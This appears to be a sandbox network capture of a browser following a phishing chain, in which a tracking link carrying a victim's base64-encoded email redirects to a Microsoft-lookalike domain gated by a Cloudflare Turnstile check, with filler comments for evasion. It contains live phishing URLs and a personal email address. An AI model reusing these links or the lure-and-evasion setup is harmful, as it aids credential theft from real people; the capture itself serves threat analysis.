2025-01-14 14:23:44 UTC	709	OUT	GET /winner/sXtxg/bWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20= HTTP/1.1 Host: jobuli.in Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:23:44 UTC	277	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:23:44 GMT Server: Apache refresh: 0;url=https://automtionmscroftsecurityactivation-authenic.appfilevault.com/4HDRF/?e=marsha.rowland@cherokeebrick.com Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49724	103.83.194.55	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:23:45 UTC	631	OUT	GET /favicon.ico HTTP/1.1 Host: jobuli.in Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://jobuli.in/winner/sXtxg/bWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:23:45 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 14:23:45 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 14:23:45 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49728	104.21.112.1	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:23:45 UTC	759	OUT	GET /4HDRF/?e=marsha.rowland@cherokeebrick.com HTTP/1.1 Host: automtionmscroftsecurityactivation-authenic.appfilevault.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://jobuli.in/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:23:45 UTC	1056	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:23:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=60bgdjfe05l806n0sv6kklmv6m; path=/ cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A6tWla4rYqCCY1Q%2FsFpo00DTOLZ7f%2BlMVzZjA2yiQ0aOw0vo%2Bv752iFLZan86lCvTFGbSKS04zcGKN%2Bk5NuHb22FUyqDkpeDs%2FYPOw%2BjpzS%2B72YtXhZ5qDs51uaArOr4XgIdxIZZtPMoBVct2w9uki2am84BSf40J%2BqCcY21bfDOy%2Bd%2BDtcIKT50odJ1Hb4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901e49261ffe424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1579&min_rtt=1575&rtt_var=599&sent=5&recv=6&lost=0&retrans=0&sent_bytes=3050&recv_bytes=1337&delivery_rate=2722187&cwnd=250&unsent_bytes=0&cid=f3733406adeb7793&ts=275&x=0"
2025-01-14 14:23:45 UTC	313	IN	Data Raw: 61 65 39 0d 0a 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 43 72 79 73 74 61 6c 44 72 69 66 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 3c 73 70 61 6e 3e 46 72 69 65 6e 64 73 20 67 61 74 68 65 72 65 64 20 61 72 6f 75 6e 64 20 61 20 63 61 6d 70 66 69 72 65 2c 20 73 68 61 72 69 6e 67 20 73 74 6f 72 69 65 73 20 61 6e 64 20 72 6f 61 73 74 69 6e 67 20 6d 61 72 73 68 6d 61 6c 6c 6f 77 73 2e 3c 2f 73 70 61 6e 3e 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e Data Ascii: ae9 <html lang="en"> <head> <meta charset="UTF-8"> <title>CrystalDrift</title> ... <span>Friends gathered around a campfire, sharing stories and roasting marshmallows.</span> --> <meta name="robots" content="noin
2025-01-14 14:23:45 UTC	1369	IN	Data Raw: 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 74 75 72 6e 73 74 69 6c 65 2f 76 30 2f 61 70 69 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 3c 70 3e 57 72 69 74 65 72 73 20 63 72 61 66 74 65 64 20 63 6f 6d 70 65 6c 6c 69 6e 67 20 73 74 6f 72 69 65 73 20 74 68 61 74 20 74 72 61 6e 73 70 6f 72 74 65 64 20 72 65 61 64 65 72 73 20 74 6f 20 69 6d 61 67 69 6e 61 72 79 20 77 6f 72 6c 64 73 2e 3c 2f 70 3e 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: th=device-width, initial-scale=1.0"> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js"></script> ... <p>Writers crafted compelling stories that transported readers to imaginary worlds.</p> --> <style>
2025-01-14 14:23:45 UTC	1118	IN	Data Raw: 6f 66 20 73 74 6f 72 69 65 73 20 61 6e 64 20 65 76 65 6e 74 73 2e 3c 2f 70 3e 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 6d 65 74 68 6f 64 3d 22 50 4f 53 54 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 22 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 30 78 34 41 41 41 41 41 41 41 34 73 6a 66 6f 47 41 54 4e 62 34 67 54 7a 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 4f 70 75 6c 65 6e 74 4d 69 73 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: of stories and events.</p> --> <form method="POST"> <span class="cf-turnstile" data-sitekey="0x4AAAAAAA4sjfoGATNb4gTz" data-callback="OpulentMist"> </span>
2025-01-14 14:23:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49729	104.18.94.41	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:23:46 UTC	588	OUT	GET /turnstile/v0/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:23:46 UTC	386	IN	HTTP/1.1 302 Found Date: Tue, 14 Jan 2025 14:23:46 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/e0c90b6a3ed1/api.js Server: cloudflare CF-RAY: 901e492b2f8f4349-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49730	104.18.94.41	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:23:46 UTC	603	OUT	GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:23:47 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:23:47 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Wed, 08 Jan 2025 13:42:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 901e492edb2b4240-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 14:23:47 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-14 14:23:47 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2025-01-14 14:23:47 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2025-01-14 14:23:47 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(fu
2025-01-14 14:23:47 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2025-01-14 14:23:47 UTC	1369	IN	Data Raw: 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 4b 74 3d 33 30 30 2c 24 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 Data Ascii: ecute"],e)}var Kt=300,$t=10;function yt(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clea
2025-01-14 14:23:47 UTC	1369	IN	Data Raw: 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 75 2c 67 3d 4d 28 4e 72 2c 28 75 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 75 21 3d 3d 76 6f 69 64 20 30 3f 75 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 6c 3d 4d 28 6b 72 2c 28 68 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 Data Ascii: innerWidth<400,c=e.state===Ie.FAILURE_FEEDBACK\|\|e.state===Ie.FAILURE_HAVING_TROUBLES,u,g=M(Nr,(u=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&u!==void 0?u:"nonexistent"),h,l=M(kr,(h=(n=e.displayLanguage)===null\|\|n===void 0?void
2025-01-14 14:23:47 UTC	1369	IN	Data Raw: 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 53 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 53 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 75 29 3b 76 61 72 20 6c 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 6c 3b 72 65 74 75 72 6e 20 67 26 26 5a 28 70 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 53 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 Data Ascii: urn!1}}function Se(e,r,n){return je()?Se=Reflect.construct:Se=function(c,u,g){var h=[null];h.push.apply(h,u);var l=Function.bind.apply(c,h),p=new l;return g&&Z(p,g.prototype),p},Se.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Objec
2025-01-14 14:23:47 UTC	1369	IN	Data Raw: 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 73 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 48 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 48 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 51 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 48 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 Data Ascii: ");throw new sr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){return e.startsWith(He)?e.substring(He.length):null}function Q(e){return"".concat(He).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=doc
2025-01-14 14:23:47 UTC	1369	IN	Data Raw: 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b Data Ascii: rmOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49731	104.18.94.41	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:23:47 UTC	383	OUT	GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
